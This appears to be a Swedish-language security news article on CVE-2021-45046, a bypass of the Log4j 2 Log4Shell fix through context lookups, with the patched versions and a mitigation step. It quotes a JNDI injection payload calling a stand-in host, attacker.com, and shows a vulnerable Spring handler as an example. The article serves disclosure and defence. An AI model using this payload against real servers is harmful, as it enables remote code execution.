En ny attackvektor mot Log4j 2 som kan kringgå den nyligen tillagda skyddet.

Det har upptäckts en ytterligare sårbarhet (CVE-2021-45046) i implementeringen av JNDI-platshållare i Log4j 2, som visar sig trots de korrigeringar som lades till i version 2.15 och oavsett användning av inställningen "log4j2.noFormatMsgLookup" för att skydda. Problemet utgör en risk främst för äldre versioner av Log4j 2 som är skyddade med flaggan "noFormatMsgLookup", eftersom det möjliggör att kringgå skyddet mot den tidigare sårbarheten (Log4Shell, CVE-2021-44228), vilket möjliggör exekvering av egen kod på servern. För användare av version 2.15 begränsas utnyttjandet till att skapa förhållanden för att applikationen ska krascha på grund av uttömda resurser.

Sårbarheten förekommer endast på system där kontextuella förfrågningar (Context Lookup) används vid loggning, såsom ${ctx:loginId}, eller MDC-mallar (Thread Context Map), exempelvis %X, %mdc och %MDC. Utnyttjandet går ut på att skapa förhållanden för att logga data som innehåller JNDI-platshållare, genom att använda kontextuella förfrågningar eller MDC-mallar som definierar regler för loggutformatning.

Forskare från LunaSec har påpekat att för versioner av Log4j lägre än 2.15 kan denna sårbarhet användas som en ny attackvektor för Log4Shell, vilket leder till kodexekvering, om uttryck från ThreadContext används i loggutskrifter där externa data ingår, oavsett om flaggan "noMsgFormatLookups" eller mönstret "%m{nolookups}" är aktiverade som skydd.

Kringgåendet av skyddet går ut på att i stället för att direkt sätta in "${jndi:ldap://attacker.com/a}", istället placeras detta uttryck genom värdet av en mellanliggande variabel som används i reglerna för loggutformatning. Till exempel, om en kontextuell förfrågan ${ctx:apiversion} används vid loggning, kan attacken genomföras genom att placera datan "${jndi:ldap://attacker.com/a}" i värdet som skrivs till variabeln apiversion. Exempel på sårbar kod: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Värdet av HTTP-huvudet "X-Api-Version" överförs till ThreadContext ThreadContext.put("apiversion", apiVersion); // Vid loggning kommer det externa värdet apiversion att behandlas med hjälp av platshållaren ${ctx:apiversion} logger.info("Received a request for API version"); return "Hello, world!"; }

I versionen Log4j 2.15 kan sårbarheten användas för att genomföra DoS-attacker genom att skicka värden som orsakar oändliga slingor i trådkontextens bearbetning av formatmallar för utdata.

För att blockera sårbarheten har uppdateringar 2.16 och 2.12.2 publicerats. I version Log4j 2.16, förutom korrigeringar som infördes i version 2.15 samt uppkoppling av JNDI LDAP-förfrågningar till "localhost", är JNDI-funktionaliteten som standard helt avstängd och stöd för meddelandeersättningsmallar har tagits bort. Som en genväg för att skydda föreslås att klassen JndiLookup tas bort från classpath (till exempel "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class").

Följ utvecklingen av korrigeringar i paketen på distributionssidor (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) och hos tillverkare av Java-plattformar (GitHub, Docker, Oracle, vmWare, Broadcom och Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, etc.).

Källa: opennet.ru